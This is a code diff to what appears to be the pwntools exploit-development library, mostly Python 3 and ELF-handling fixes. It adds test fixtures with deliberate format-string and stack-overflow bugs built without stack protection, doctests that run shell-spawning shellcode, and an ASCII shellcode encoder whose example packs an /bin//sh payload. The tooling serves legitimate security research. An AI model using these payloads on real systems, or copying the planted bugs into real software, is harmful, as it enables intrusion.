@@ -18,9 +18,10 @@ parser.add_argument('exe', nargs='?', help='Target binary')
parser.add_argument('--host', help='Remote host / SSH server')
parser.add_argument('--port', help='Remote port / SSH port', type=int)
parser.add_argument('--user', help='SSH Username')
parser.add_argument('--pass', help='SSH Password', dest='password')
parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
parser.add_argument('--path', help='Remote path of file on SSH server')
parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')
def main(args):
cache = None
@@ -40,7 +41,14 @@ def main(args):
log.error("Must specify --path or a exe")
s = ssh(args.user, args.host, args.port or 22, args.password or None)
s.download(args.path or args.exe)
try:
remote = args.path or args.exe
s.download(remote)
except Exception:
log.warning("Could not download file %r, opening a shell", remote)
s.interactive()
return
if not args.exe:
args.exe = os.path.basename(args.path)
@@ -57,8 +65,16 @@ def main(args):
# Fix Mako formatting bs
output = re.sub('\n\n\n', '\n\n', output)
# Colorize the output if it's a TTY
if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
from pygments import highlight
from pygments.formatters import TerminalFormatter
from pygments.lexers.python import PythonLexer
output = highlight(output, PythonLexer(), TerminalFormatter())
print(output)
# If redirected to a file, make the resulting script executable
if not sys.stdout.isatty():
try: os.fchmod(sys.stdout.fileno(), 0o700)
except OSError: pass
+1 -1
View File
@@ -30,4 +30,4 @@ def main(args):
sys.stderr.write(str(e) + '\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
import os
import subprocess
import pwnlib
pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
parser = common.parser_commands.add_parser(
'version',
help = 'Pwntools version'
)
def main(a):
version = pwnlib.version
git_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
if os.path.exists(os.path.join(git_root, '.git')):
gitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)'])
branch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD'])
version = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode())
log.info("Pwntools v%s" % version)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+3
View File
@@ -26,6 +26,9 @@ supported by ``pwnlib.util.safeeval.expr``.
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']
[update]
interval=7
"""
from __future__ import absolute_import
from __future__ import division
+8 -2
View File
@@ -92,7 +92,7 @@ class ConstantsModule(ModuleType):
# Special case for __all__, we want to return the contextually
# relevant module.
if key == '__all__':
return self.guess().__dict__.keys()
return list(self.guess().__dict__.keys())
# Special case for all other special properties which aren't defined
if key.endswith('__'):
@@ -145,7 +145,13 @@ class ConstantsModule(ModuleType):
if key not in self._env_store:
self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')}
return Constant('(%s)' % string, safeeval.values(string, self._env_store[key]))
val = safeeval.values(string, self._env_store[key])
# if the expression is not assembly-safe, it is not so vital to preserve it
if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
string = val
return Constant('(%s)' % string, val)
# To prevent garbage collection
+22 -6
View File
@@ -1,4 +1,3 @@
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Implements context management so that nested/scoped contexts and threaded
@@ -27,6 +26,11 @@ from pwnlib.config import register_config
from pwnlib.device import Device
from pwnlib.timeout import Timeout
try:
from collections.abc import Iterable
except ImportError:
from collections import Iterable
__all__ = ['context', 'ContextType', 'Thread']
_original_socket = socket.socket
@@ -354,7 +358,7 @@ class ContextType(object):
'log_console': sys.stdout,
'randomize': False,
'rename_corefiles': True,
'newline': '\n',
'newline': b'\n',
'noptrace': False,
'os': 'linux',
'proxy': None,
@@ -839,6 +843,8 @@ class ContextType(object):
return b.decode('utf-8')
except UnicodeDecodeError:
return b.decode('latin1')
except AttributeError:
return b
return b.decode(self.encoding)
@_validator
@@ -1117,7 +1123,7 @@ class ContextType(object):
if isinstance(proxy, str):
proxy = (socks.SOCKS5, proxy)
if not isinstance(proxy, collections.Iterable):
if not isinstance(proxy, Iterable):
raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
socks.set_default_proxy(*proxy)
@@ -1225,12 +1231,13 @@ class ContextType(object):
>>> cache_dir == context.cache_dir
True
"""
home = os.path.expanduser('~')
xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
os.path.join(os.path.expanduser('~'), '.cache')
if not os.access(home, os.W_OK):
if not os.access(xdg_cache_home, os.W_OK):
return None
cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
if not os.path.exists(cache):
try:
@@ -1271,6 +1278,15 @@ class ContextType(object):
"""
return bool(v)
@_validator
def newline(self, v):
"""Line ending used for Tubes by default.
This configures the newline emitted by e.g. ``sendline`` or that is used
as a delimiter for e.g. ``recvline``.
"""
return six.ensure_binary(v)
@_validator
def gdbinit(self, value):
+2
View File
@@ -1,5 +1,7 @@
from __future__ import absolute_import
from pwnlib.data.elf import fmtstr
from pwnlib.data.elf import relro
from pwnlib.data.elf import ret2dlresolve
import os
path = os.path.dirname(__file__)
+5
View File
@@ -0,0 +1,5 @@
all: i386
i386: vuln.c
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
+5
View File
@@ -0,0 +1,5 @@
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
BIN
View File
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, my_var, sizeof(int));
return 0;
}
+8
View File
@@ -0,0 +1,8 @@
all: i386 amd64
i386: vuln.c
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
amd64: vuln.c
gcc "$^" -fno-stack-protector -no-pie -o $@
@@ -0,0 +1,5 @@
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
Binary file not shown.
BIN
View File
Binary file not shown.
+8
View File
@@ -0,0 +1,8 @@
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+11 -9
View File
@@ -1,6 +1,7 @@
#!/usr/bin/env python2
from __future__ import division
import argparse
import keyword
import os
from pwnlib import constants
@@ -62,7 +63,7 @@ CALL = """
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
@@ -75,8 +76,8 @@ CALL = """
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (bytes, six.text_type)):
if not isinstance(arg, bytes):
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
@@ -144,12 +145,11 @@ def can_be_array(arg):
def fix_bad_arg_names(func, arg):
if arg.name == 'str':
return 'str_'
if arg.name == 'len':
return 'length'
if arg.name == 'repr':
return 'repr_'
if arg.name in ('str', 'repr') or keyword.iskeyword(arg.name):
return arg.name + '_'
if func.name == 'open' and arg.name == 'vararg':
return 'mode'
@@ -277,8 +277,10 @@ def generate_one(target):
CALL.format(**template_variables)
]
with open(os.path.join(target, name + '.asm'), 'wt+') as f:
f.write('\n'.join(map(str.strip, lines)))
if keyword.iskeyword(name):
name += '_'
with open(os.path.join(target, name + '.asm'), 'wt') as f:
f.write('\n'.join(map(str.strip, lines)) + '\n')
if __name__ == '__main__':
p = argparse.ArgumentParser()
+9 -6
View File
@@ -75,8 +75,8 @@ def sysv_hash(symbol):
"""
h = 0
g = 0
for c in symbol:
h = (h << 4) + ord(c)
for c in bytearray(context._encode(symbol)):
h = (h << 4) + c
g = h & 0xf0000000
h ^= (g >> 24)
h &= ~g
@@ -87,9 +87,10 @@ def gnu_hash(s):
Function used to generated GNU-style hashes for strings.
"""
s = bytearray(context._encode(s))
h = 5381
for c in s:
h = h * 33 + ord(c)
h = h * 33 + c
return h & 0xffffffff
class DynELF(object):
@@ -292,7 +293,7 @@ class DynELF(object):
w = None
while True:
if self.leak.compare(ptr, '\x7fELF'):
if self.leak.compare(ptr, b'\x7fELF'):
break
# See if we can short circuit the search
@@ -641,7 +642,7 @@ class DynELF(object):
p_name = leak.field(cur, LinkMap.l_name)
name = leak.s(p_name)
if libname in name:
if libname.encode('utf-8') in name:
break
if name:
@@ -740,6 +741,7 @@ class DynELF(object):
# Leak the name of the function from the symbol table
name = leak.s(strtab + leak.field(sym, Sym.st_name))
name = name.decode('utf-8')
# Make sure it matches the name of the symbol we were looking for.
if name == symb:
@@ -823,6 +825,7 @@ class DynELF(object):
# Check for collision on hash values
sym = symtab + sizeof(Sym) * (ndx + i)
name = leak.s(strtab + leak.field(sym, Sym.st_name))
name = name.decode('utf-8')
if name == symb:
# No collision, get offset and calculate address
@@ -854,7 +857,7 @@ class DynELF(object):
for offset in libcdb.get_build_id_offsets():
address = libbase + offset
if self.leak.compare(address + 0xC, "GNU\x00"):
if self.leak.compare(address + 0xC, b"GNU\x00"):
return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
else:
self.status("Build ID not found at offset %#x" % offset)
+2 -2
View File
@@ -21,8 +21,8 @@ class KernelConfig(object):
self.excludes = set(excludes)
#: Kernel version that this check should be enforced on
self.minver = map(int, str(minver).split('.'))
self.maxver = map(int, str(maxver).split('.'))
self.minver = list(map(int, str(minver).split('.')))
self.maxver = list(map(int, str(maxver).split('.')))
def relevant(self, config):
+13 -13
View File
@@ -219,8 +219,8 @@ class Mapping(object):
stop += self.stop
if not (self.start <= start <= stop <= self.stop):
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]" \
% (start, stop, self.start, self.stop))
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]",
start, stop, self.start, self.stop)
data = self._core.read(start, stop-start)
@@ -431,7 +431,7 @@ class Corefile(ELF):
Corefiles can also be pulled from remote machines via SSH!
>>> s = ssh(host='example.pwnme')
>>> s = ssh(user='travis', host='example.pwnme', password='demopass')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
@@ -484,7 +484,7 @@ class Corefile(ELF):
>>> io = elf.process()
>>> io.wait(2)
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
[!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith(b'AAAA')
@@ -551,15 +551,15 @@ class Corefile(ELF):
self.load_addr = 0
self._address = 0
if not self.elftype == 'CORE':
if self.elftype != 'CORE':
log.error("%s is not a valid corefile" % self.file.name)
if not self.arch in prstatus_types.keys():
if self.arch not in prstatus_types:
log.warn_once("%s does not use a supported corefile architecture, registers are unavailable" % self.file.name)
prstatus_type = prstatus_types.get(self.arch, None)
prpsinfo_type = prpsinfo_types.get(self.bits, None)
siginfo_type = siginfo_types.get(self.bits, None)
prstatus_type = prstatus_types.get(self.arch)
prpsinfo_type = prpsinfo_types.get(self.bits)
siginfo_type = siginfo_types.get(self.bits)
with log.waitfor("Parsing corefile...") as w:
self._load_mappings()
@@ -669,8 +669,8 @@ class Corefile(ELF):
continue
if mapping.start == self.at_sysinfo_ehdr \
or (not vdso and mapping.size in [0x1000, 0x2000] \
and mapping.flags == 5 \
or (not vdso and mapping.size in [0x1000, 0x2000]
and mapping.flags == 5
and self.read(mapping.start, 4) == b'\x7fELF'):
mapping.name = '[vdso]'
vdso = True
@@ -924,9 +924,9 @@ class Corefile(ELF):
return
# If the stack does not end with zeroes, something is very wrong.
if not stack.data.endswith(b'\x00' * 8):
if not stack.data.endswith(b'\x00' * context.bytes):
log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
enhex(self.data[-8:]))
enhex(self.data[-context.bytes:]))
return
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
+1 -1
View File
@@ -191,7 +191,7 @@ class constants:
NT_AUXV = 6
#
# Note to userspace developers: size of NT_SIGINFO note may increase
# in the future to accomodate more fields, don't assume it is fixed!
# in the future to accommodate more fields, don't assume it is fixed!
#
NT_SIGINFO = 0x53494749
NT_FILE = 0x46494c45
+110 -20
View File
@@ -83,12 +83,19 @@ from pwnlib.tubes.process import process
from pwnlib.util import misc
from pwnlib.util import packing
from pwnlib.util.fiddling import unhex
from pwnlib.util.misc import align, align_down
from pwnlib.util.sh_string import sh_string
log = getLogger(__name__)
__all__ = ['load', 'ELF']
def _iter_symbols(sec):
# Cache result of iter_symbols.
if not hasattr(sec, '_symbols'):
sec._symbols = list(sec.iter_symbols())
return iter(sec._symbols)
class Function(object):
"""Encapsulates information about a function in an :class:`.ELF` binary.
@@ -268,6 +275,9 @@ class ELF(ELFFile):
self.arch = 'mips64'
self.bits = 64
self._sections = None
self._segments = None
#: IntervalTree which maps all of the loaded memory segments
self.memory = intervaltree.IntervalTree()
self._populate_memory()
@@ -309,7 +319,7 @@ class ELF(ELFFile):
config = gz.read()
if config:
self.config = parse_kconfig(config)
self.config = parse_kconfig(config.decode())
#: ``True`` if the ELF is a statically linked executable
self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)
@@ -454,9 +464,6 @@ class ELF(ELFFile):
self.checksec(*a, **kw)
)
def __repr__(self):
return "ELF(%r)" % self.path
def get_machine_arch(self):
return {
'EM_X86_64': 'amd64',
@@ -484,6 +491,13 @@ class ELF(ELFFile):
""":class:`str`: ELF type (``EXEC``, ``DYN``, etc)"""
return describe_e_type(self.header.e_type).split()[0]
def iter_segments(self):
# Yield and cache all the segments in the file
if self._segments is None:
self._segments = [self.get_segment(i) for i in range(self.num_segments())]
return iter(self._segments)
@property
def segments(self):
"""
@@ -536,6 +550,13 @@ class ELF(ELFFile):
return None
def iter_sections(self):
# Yield and cache all the sections in the file
if self._sections is None:
self._sections = [self.get_section(i) for i in range(self.num_sections())]
return iter(self._sections)
@property
def sections(self):
"""
@@ -841,7 +862,7 @@ class ELF(ELFFile):
if not isinstance(sec, SymbolTableSection):
continue
for sym in sec.iter_symbols():
for sym in _iter_symbols(sec):
# Avoid duplicates
if sym.name in self.functions:
continue
@@ -865,7 +886,7 @@ class ELF(ELFFile):
if not isinstance(section, SymbolTableSection):
continue
for symbol in section.iter_symbols():
for symbol in _iter_symbols(section):
value = symbol.entry.st_value
if not value:
continue
@@ -906,7 +927,7 @@ class ELF(ELFFile):
if self.statically_linked:
return
for section in self.iter_sections():
for section in self.sections:
# We are only interested in relocations
if not isinstance(section, RelocationSection):
continue
@@ -960,7 +981,7 @@ class ELF(ELFFile):
# Iterate over the dynamic symbol table
dynsym = self.get_section_by_name('.dynsym')
symbol_iter = dynsym.iter_symbols()
symbol_iter = _iter_symbols(dynsym)
# 'gotsym' is the index of the first GOT symbol
gotsym = self.dynamic_value_by_tag('DT_MIPS_GOTSYM')
@@ -1002,9 +1023,10 @@ class ELF(ELFFile):
# In particular, this is where EBX points when it points into the GOT.
dt_pltgot = self.dynamic_value_by_tag('DT_PLTGOT') or 0
# There are two PLTs we may need to search
# There are three PLTs we may need to search
plt = self.get_section_by_name('.plt') # <-- Functions only
plt_got = self.get_section_by_name('.plt.got') # <-- Functions used as data
plt_sec = self.get_section_by_name('.plt.sec')
plt_mips = self.get_section_by_name('.MIPS.stubs')
# Invert the GOT symbols we already have, so we can look up by address
@@ -1012,7 +1034,7 @@ class ELF(ELFFile):
inv_symbols.update({v:k for k,v in self.symbols.items()})
with context.local(arch=self.arch, bits=self.bits, endian=self.endian):
for section in (plt, plt_got, plt_mips):
for section in (plt, plt_got, plt_sec, plt_mips):
if not section:
continue
@@ -1033,7 +1055,10 @@ class ELF(ELFFile):
return
banner = self.string(self.symbols.linux_banner)
# convert banner into a utf-8 string since re.search does not accept bytes anymore
banner = banner.decode('utf-8')
# 'Linux version 3.18.31-gd0846ecc
regex = r'Linux version (\S+)'
match = re.search(regex, banner)
@@ -1048,8 +1073,51 @@ class ELF(ELFFile):
self.config['version'] = self.version
def search(self, needle, writable = False):
"""search(needle, writable = False) -> generator
@property
def libc_start_main_return(self):
"""
Try to find the return address from main into __libc_start_main.
The heuristic to find the call to the function pointer of main is
to list all calls inside __libc_start_main, find the call to exit
after the call to main and select the previous call.
"""
if '__libc_start_main' not in self.functions:
return 0
if 'exit' not in self.symbols:
return 0
# If there's no delay slot, execution continues on the next instruction after a call.
call_return_offset = 1
if self.arch in ['arm', 'thumb']:
call_instructions = set(['blx', 'bl'])
elif self.arch == 'aarch64':
call_instructions = set(['blr', 'bl'])
elif self.arch in ['mips', 'mips64']:
call_instructions = set(['bal', 'jalr'])
# Account for the delay slot.
call_return_offset = 2
elif self.arch in ['i386', 'amd64', 'ia64']:
call_instructions = set(['call'])
else:
log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
return 0
code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
exit_addr = hex(self.symbols['exit'])
lines = code.split('\n')
calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
if len(exit_calls) != 1:
return 0
call_to_main = calls[exit_calls[0] - 1]
return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
return return_from_main
def search(self, needle, writable = False, executable = False):
"""search(needle, writable = False, executable = False) -> generator
Search the ELF's virtual address space for the specified string.
@@ -1062,6 +1130,7 @@ class ELF(ELFFile):
Arguments:
needle(str): String to search for.
writable(bool): Search only writable sections.
executable(bool): Search only executable sections.
Yields:
An iterator for each virtual address that matches.
@@ -1079,11 +1148,20 @@ class ELF(ELFFile):
>>> len(list(bash.search(b'GNU bash'))) > 0
True
It is also possible to search for instructions in executable sections.
>>> binary = ELF.from_assembly('nop; mov eax, 0; jmp esp; ret')
>>> jmp_addr = next(binary.search(asm('jmp esp'), executable = True))
>>> binary.read(jmp_addr, 2) == asm('jmp esp')
True
"""
load_address_fixup = (self.address - self.load_addr)
if writable:
segments = self.writable_segments
elif executable:
segments = self.executable_segments
else:
segments = self.segments
@@ -1155,6 +1233,11 @@ class ELF(ELFFile):
# DT_LOAD segment is **last** to load data into the region.
self.memory.chop(start, stop_data)
# Fill the start of the segment's first page
page_start = align_down(0x1000, start)
if page_start < start and not self.memory[page_start]:
self.memory.addi(page_start, start, None)
# Add the new segment
if start != stop_data:
self.memory.addi(start, stop_data, segment)
@@ -1162,15 +1245,22 @@ class ELF(ELFFile):
if stop_data != stop_mem:
self.memory.addi(stop_data, stop_mem, b'\x00')
page_end = align(0x1000, stop_mem)
# Check for holes which we can fill
if self._fill_gaps and i+1 < len(load_segments):
next_start = load_segments[i+1].header.p_vaddr
if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
self.memory.addi(stop_mem, next_start, None)
else:
page_end = (stop_mem + 0xfff) & ~(0xfff)
page_next = align_down(0x1000, next_start)
if stop_mem < next_start:
if page_end < page_next:
if stop_mem < page_end:
self.memory.addi(stop_mem, page_end, None)
if page_next < next_start:
self.memory.addi(page_next, next_start, None)
else:
self.memory.addi(stop_mem, next_start, None)
else:
if stop_mem < page_end:
self.memory.addi(stop_mem, page_end, None)
@@ -1602,7 +1692,7 @@ class ELF(ELFFile):
``PT_GNU_STACK``
The p_flags member specifies the permissions on the segment
containing the stack and is used to indicate wether the stack
containing the stack and is used to indicate whether the stack
should be executable. The absense of this header indicates
that the stack will be executable.
@@ -1766,7 +1856,7 @@ class ELF(ELFFile):
# Check for Linux configuration, it must contain more than
# just the version.
if len(self.config) > 1:
config_opts = collections.defaultdict(lambda: [])
config_opts = collections.defaultdict(list)
for checker in kernel_configuration:
result, message = checker(self.config)
+25 -9
View File
@@ -36,13 +36,17 @@ def emulate_plt_instructions(elf, got, address, data, targets):
data = packing.unpack_many(data, bits=32, endian='little')
data = packing.flat(data, bits=32, endian='big')
uc, ctx = prepare_unicorn_and_context(elf, got, address, data)
# Brute force addresses, assume that PLT entry points are at 4-byte aligned
# Do not emulate more than a handful of instructions.
for i, pc in enumerate(range(address, address + len(data), 4)):
if log.isEnabledFor(logging.DEBUG):
log.debug('%s %#x', fiddling.enhex(data[i*4:(i+1) * 4]), pc)
log.debug(elf.disasm(pc, 4))
target = emulate_plt_instructions_inner(elf, got, pc, data[i*4:], targets)
uc.context_restore(ctx)
target = emulate_plt_instructions_inner(uc, elf, got, pc, data[i*4:], targets)
if target in targets:
log.debug("%#x -> %#x", pc, target)
@@ -50,8 +54,7 @@ def emulate_plt_instructions(elf, got, address, data, targets):
return rv
def emulate_plt_instructions_inner(elf, got, pc, data, targets):
# Deferred import to not affect load time
def prepare_unicorn_and_context(elf, got, address, data):
import unicorn as U
# Instantiate the emulator with the correct arguments for the current
@@ -88,15 +91,15 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
uc = U.Uc(arch, mode)
# Map the page of memory, and fill it with the contents
start = pc & (~0xfff)
stop = (pc + len(data) + 0xfff) & (~0xfff)
start = address & (~0xfff)
stop = (address + len(data) + 0xfff) & (~0xfff)
if not (0 <= start <= stop <= (1 << elf.bits)):
return None
uc.mem_map(start, stop-start)
uc.mem_write(pc, data)
assert uc.mem_read(pc, len(data)) == data
uc.mem_write(address, data)
assert uc.mem_read(address, len(data)) == data
# MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
# of the GOT. Each PLT stub loads an address stored here.
@@ -129,9 +132,17 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
trap = packing.p32(0x34000000, endian=elf.endian)
uc.mem_write(magic_addr, trap)
return uc, uc.context_save()
def emulate_plt_instructions_inner(uc, elf, got, pc, data, targets):
import unicorn as U
# Hook invalid addresses and any accesses out of the specified address range
stopped_addr = []
# For MIPS. Explanation at prepare_unicorn_and_context.
magic_addr = 0xdbdbdbdb
def hook_mem(uc, access, address, size, value, user_data):
# Special case to allow MIPS to dereference the _DYNAMIC pointer
# in the GOT.
@@ -142,8 +153,10 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
uc.emu_stop()
return False
uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr)
uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
hooks = [
uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr),
uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
]
# callback for tracing instructions
# def hook_code(uc, address, size, user_data):
@@ -178,4 +191,7 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
if stopped_addr:
retval = stopped_addr.pop()
for hook in hooks:
uc.hook_del(hook)
return retval
+5 -4
View File
@@ -5,19 +5,20 @@ from pwnlib.encoders.i386.delta import i386DeltaEncoder
class amd64DeltaEncoder(i386DeltaEncoder):
"""
r"""
amd64 encoder built on delta-encoding.
In addition to the loader stub, doubles the size of the shellcode.
>>> context.clear(arch='amd64')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\x00'
>>> avoid = b'/bin/sh\x00'
>>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
"""
assembly = '''
base:
@@ -39,8 +40,8 @@ next:
data:
'''
arch = 'amd64'
raw = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
raw = b'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
blacklist = set(raw)
encode = amd64DeltaEncoder()
__all__ = [encode]
__all__ = ['encode']
+1 -1
View File
@@ -32,7 +32,7 @@ class ArmEncoder(Encoder):
enc_dec_loop = b.encDecoderLoopBuilder(dec_loop)
dec = b.DecoderBuilder(dec_loop, self.icache_flush)
output,dec = b.buildInit(dec);
output, dec = b.buildInit(dec)
output += dec
output += enc_dec_loop
@@ -42,10 +42,10 @@ def off_gen(c):
return x
return 0
# return an alphanumeric value ret such that c XOR ret is also alphanumeric
# =========================================================================
# return an alphanumeric value ret such that c XOR ret is also alphanumeric
# =========================================================================
def alphanumeric_get_complement(c):
c &= 0xff;
c &= 0xff
while True:
ret = alphanumeric_get_byte()
if alphanumeric_check(c ^ ret):
+1 -1
View File
@@ -15,7 +15,7 @@ class ArmXorEncoder(Encoder):
>>> context.clear(arch='arm')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = 'binsh\x00\n'
>>> avoid = b'binsh\x00\n'
>>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
+1
View File
@@ -1,4 +1,5 @@
from __future__ import absolute_import
from pwnlib.encoders.i386 import ascii_shellcode
from pwnlib.encoders.i386 import delta
from pwnlib.encoders.i386 import xor
+300
View File
@@ -0,0 +1,300 @@
""" Encoder to convert shellcode to shellcode that contains only ascii
characters """
# https://github.com/Gallopsled/pwntools/pull/1667
from __future__ import absolute_import
from itertools import product
import six
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.encoders.encoder import Encoder
from pwnlib.encoders.encoder import all_chars
from pwnlib.util.iters import group
from pwnlib.util.packing import *
class AsciiShellcodeEncoder(Encoder):
""" Pack shellcode into only ascii characters that unpacks itself and
executes (on the stack)
The original paper this encoder is based on:
http://julianor.tripod.com/bc/bypass-msb.txt
A more visual explanation as well as an implementation in C:
https://github.com/VincentDary/PolyAsciiShellGen/blob/master/README.md#mechanism
"""
def __init__(self, slop=20, max_subs=4):
""" Init
Args:
slop (int, optional): The amount esp will be increased by in the
allocation phase (In addition to the length of the packed
shellcode) as well as defines the size of the NOP sled (you can
increase/ decrease the size of the NOP sled by adding/removing
b'P'-s to/ from the end of the packed shellcode).
Defaults to 20.
max_subs (int, optional): The maximum amount of subtractions
allowed to be taken. This may be increased if you have a
relatively restrictive ``avoid`` set. The more subtractions
there are, the bigger the packed shellcode will be.
Defaults to 4.
"""
if six.PY2:
super(AsciiShellcodeEncoder, self).__init__()
elif six.PY3:
super().__init__()
self.slop = slop
self.max_subs = max_subs
@LocalContext
def __call__(self, raw_bytes, avoid=None, pcreg=None):
r""" Pack shellcode into only ascii characters that unpacks itself and
executes (on the stack)
Args:
raw_bytes (bytes): The shellcode to be packed
avoid (set, optional): Characters to avoid. Defaults to allow
printable ascii (0x21-0x7e).
pcreg (NoneType, optional): Ignored
Raises:
RuntimeError: A required character is in ``avoid`` (required
characters are characters which assemble into assembly
instructions and are used to unpack the shellcode onto the
stack, more details in the paper linked above ``\ - % T X P``).
RuntimeError: Not supported architecture
ArithmeticError: The allowed character set does not contain
two characters that when they are bitwise-anded with eachother
their result is 0
ArithmeticError: Could not find a correct subtraction sequence
to get to the the desired target value with the given ``avoid``
parameter
Returns:
bytes: The packed shellcode
Examples:
>>> context.update(arch='i386', os='linux')
>>> sc = b"\x83\xc4\x181\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x80j\x17X1\xdb\xcd\x80j.XS\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
>>> encoders.i386.ascii_shellcode.encode(sc)
b'TX-!!!!-"_``-~~~~P\\%!!!!%@@@@-!6!!-V~!!-~~<-P-!mha-a~~~P-!!L`-a^~~-~~~~P-!!if-9`~~P-!!!!-aOaf-~~~~P-!&!<-!~`~--~~~P-!!!!-!!H^-+A~~P-U!![-~A1~P-,<V!-~~~!-~~~GP-!2!8-j~O~P-!]!!-!~!r-y~w~P-c!!!-~<(+P-N!_W-~1~~P-!!]!-Mn~!-~~~<P-!<!!-r~!P-~~x~P-fe!$-~~S~-~~~~P-!!\'$-%z~~P-A!!!-~!#!-~*~=P-!7!!-T~!!-~~E^PPPPPPPPPPPPPPPPPPPPP'
